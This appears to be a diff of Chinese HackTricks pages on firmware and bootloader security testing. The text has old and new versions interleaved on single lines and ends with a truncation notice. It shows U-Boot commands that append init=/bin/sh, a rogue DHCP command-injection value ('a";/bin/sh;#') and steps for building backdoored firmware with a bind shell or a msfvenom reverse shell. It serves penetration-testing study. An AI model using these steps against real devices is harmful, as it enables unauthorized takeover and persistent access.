学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
推荐以下步骤来修改设备启动配置和引导加载程序如U-boot 以下步骤建议用于修改设备启动配置和引导加载程序,如 U-boot
1. **访问引导加载程序的解释器Shell**: 1. **访问引导加载程序的解释器 Shell**
- 在启动过程中,按下"0"、空格或其他已识别的"魔术代码"以访问引导加载程序的解释器Shell。 - 在启动期间,按 "0"、空格或其他识别的 "魔法代码" 以访问引导加载程序的解释器 Shell。
2. **修改引导参数**: 2. **修改引导参数**
- 执行以下命令将 '`init=/bin/sh`' 追加到引导参数中允许执行shell命令: - 执行以下命令将 '`init=/bin/sh`' 附加到引导参数,允许执行 Shell 命令:
%%% %%%
#printenv #printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -26,31 +27,47 @@
#boot #boot
%%% %%%
3. **设置TFTP服务器**: 3. **设置 TFTP 服务器**
- 配置TFTP服务器以通过本地网络加载镜像: - 配置 TFTP 服务器以通过本地网络加载映像:
%%% %%%
#setenv ipaddr 192.168.2.2 #设备的本地IP #setenv ipaddr 192.168.2.2 #设备的本地 IP
#setenv serverip 192.168.2.1 #TFTP服务器IP #setenv serverip 192.168.2.1 #TFTP 服务器 IP
#saveenv #saveenv
#reset #reset
#ping 192.168.2.1 #检查网络访问 #ping 192.168.2.1 #检查网络访问
#tftp ${loadaddr} uImage-3.6.35 #loadaddr接受要加载文件的地址和TFTP服务器上镜像的文件名 #tftp ${loadaddr} uImage-3.6.35 #loadaddr 是加载文件的地址和 TFTP 服务器上映像的文件名
%%% %%%
4. **使用 `ubootwrite.py`**: 4. **利用 `ubootwrite.py`**
- 使用 `ubootwrite.py` 写入U-boot镜像并推送修改后的固件以获取root访问权限。 - 使用 `ubootwrite.py` 写入 U-boot 映像并推送修改后的固件以获得 root 访问权限。
5. **检查调试功能**: 5. **检查调试功能**
- 验证是否启用了调试功能,如详细日志记录、加载任意内核或从不受信任的来源引导 - 验证是否启用了调试功能,如详细日志记录、加载任意内核或从不受信任的来源启动
6. **谨慎处理硬件干扰**: 6. **谨慎的硬件干扰**
- 当连接一个引脚到地线并与SPI或NAND闪存芯片交互时特别是在内核解压缩之前的设备启动序列中应谨慎处理。在短接引脚之前请参考NAND闪存芯片的数据表 - 在设备启动序列期间,特别是在内核解压缩之前,连接一个引脚到地并与 SPI 或 NAND 闪存芯片交互时要小心。在短接引脚之前,请查阅 NAND 闪存芯片的数据手册
7. **配置恶意DHCP服务器**: 7. **配置恶意 DHCP 服务器**
- 设置一个恶意DHCP服务器为设备在PXE启动期间摄取恶意参数。利用诸如Metasploit的MSFDHCP辅助服务器之类的工具。修改'FILENAME'参数,使用命令注入命令,如 `'a";/bin/sh;#'`,以测试设备启动过程的输入验证。 - 设置一个恶意 DHCP 服务器,使用恶意参数供设备在 PXE 启动时获取。利用 Metasploit 的 (MSF) DHCP 辅助服务器。修改 'FILENAME' 参数,使用命令注入命令,如 `'a";/bin/sh;#'` 来测试设备启动程序的输入验证。
**注意**: 与设备引脚进行物理交互的步骤(*用星号标记)应谨慎对待,以避免损坏设备。 **注意**:涉及与设备引脚物理交互的步骤(*用星号标记)应极其谨慎,以避免损坏设备。
## 参考资料 ## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 固件完整性 ## 固件完整性
**自定义固件和/或编译的二进制文件可以上传以利用完整性或签名验证漏洞**。可以按照以下步骤进行后门绑定shell编译: **自定义固件和/或编译的二进制文件可以被上传以利用完整性或签名验证缺陷**。可以按照以下步骤进行后门绑定 shell 编译:
1. 使用固件修改工具包FMK提取固件。 1. 可以使用 firmware-mod-kit (FMK) 提取固件。
2. 应识别目标固件架构和字节序。 2. 应识别目标固件架构和字节序。
3. 可以使用Buildroot或其他适合环境的方法构建交叉编译器。 3. 可以使用 Buildroot 或其他适合环境的方法构建交叉编译器。
4. 使用交叉编译器构建后门。 4. 可以使用交叉编译器构建后门。
5. 将后门复制到提取的固件的/usr/bin目录。 5. 可以将后门复制到提取的固件 /usr/bin 目录。
6. 将适当的QEMU二进制文件复制到提取的固件rootfs。 6. 可以将适当的 QEMU 二进制文件复制到提取的固件 rootfs。
7. 使用chroot和QEMU模拟后门。 7. 可以使用 chroot QEMU 模拟后门。
8. 可以通过netcat访问后门。 8. 可以通过 netcat 访问后门。
9. 应从提取的固件rootfs中删除QEMU二进制文件。 9. 应从提取的固件 rootfs 中删除 QEMU 二进制文件。
10. 使用FMK重新打包修改后的固件。 10. 可以使用 FMK 重新打包修改后的固件。
11. 可以通过使用固件分析工具包FAT模拟它并使用netcat连接到目标后门IP和端口来测试带后门的固件。 11. 可以通过使用固件分析工具包 (FAT) 模拟后门固件,并使用 netcat 连接到目标后门 IP 和端口来测试后门固件。
如果已经通过动态分析、引导加载程序操纵或硬件安全测试获得了root shell可以执行预编译的恶意二进制文件如植入物或反向shell。可以使用Metasploit框架和'msfvenom'等自动化负载/植入工具,按照以下步骤利用 如果已经通过动态分析、引导加载程序操作或硬件安全测试获得了 root shell可以执行预编译的恶意二进制文件,如植入物或反向 shell。可以使用以下步骤利用自动化有效载荷/植入工具,如 Metasploit 框架和 'msfvenom'
1. 应识别目标固件架构和字节序。 1. 应识别目标固件架构和字节序。
2. 可以使用Msfvenom指定目标负载、攻击者主机IP、监听端口号、文件类型、架构、平台和输出文件。 2. 可以使用 Msfvenom 指定目标有效载荷、攻击者主机 IP、监听端口号、文件类型、架构、平台和输出文件。
3. 可以将负载传输到受损设备,并确保它具有执行权限。 3. 可以将有效载荷传输到被攻陷的设备,并确保其具有执行权限。
4. 可以准备Metasploit来处理传入请求通过启动msfconsole并根据负载配置设置 4. 可以通过启动 msfconsole 并根据有效载荷配置设置来准备 Metasploit 处理传入请求
5. 可以在受损设备上执行meterpreter反向shell。 5. 可以在被攻陷的设备上执行 meterpreter 反向 shell。
6. 可以监视打开的meterpreter会话 6. 可以监控 meterpreter 会话的开启情况
7. 可以执行后渗透活动。 7. 可以执行后期利用活动。
如果可能的话,可以利用启动脚本中的漏洞来获得对设备在重新启动时的持久访问权限。这些漏洞出现在启动脚本引用、[符号链接](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)或依赖于位于不受信任挂载位置(如用于存储根文件系统外数据的SD卡和闪存卷中的代码时。 如果可能,可以利用启动脚本中的漏洞以在重启后获得对设备的持久访问。这些漏洞在启动脚本引用、[符号链接](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)或依赖于位于不受信任挂载位置(如用于存储根文件系统外数据的 SD 卡和闪存卷)中的代码时出现
## 参考资料 ## 参考文献
* 欲了解更多信息,请查看[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) * 有关更多信息,请查看 [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more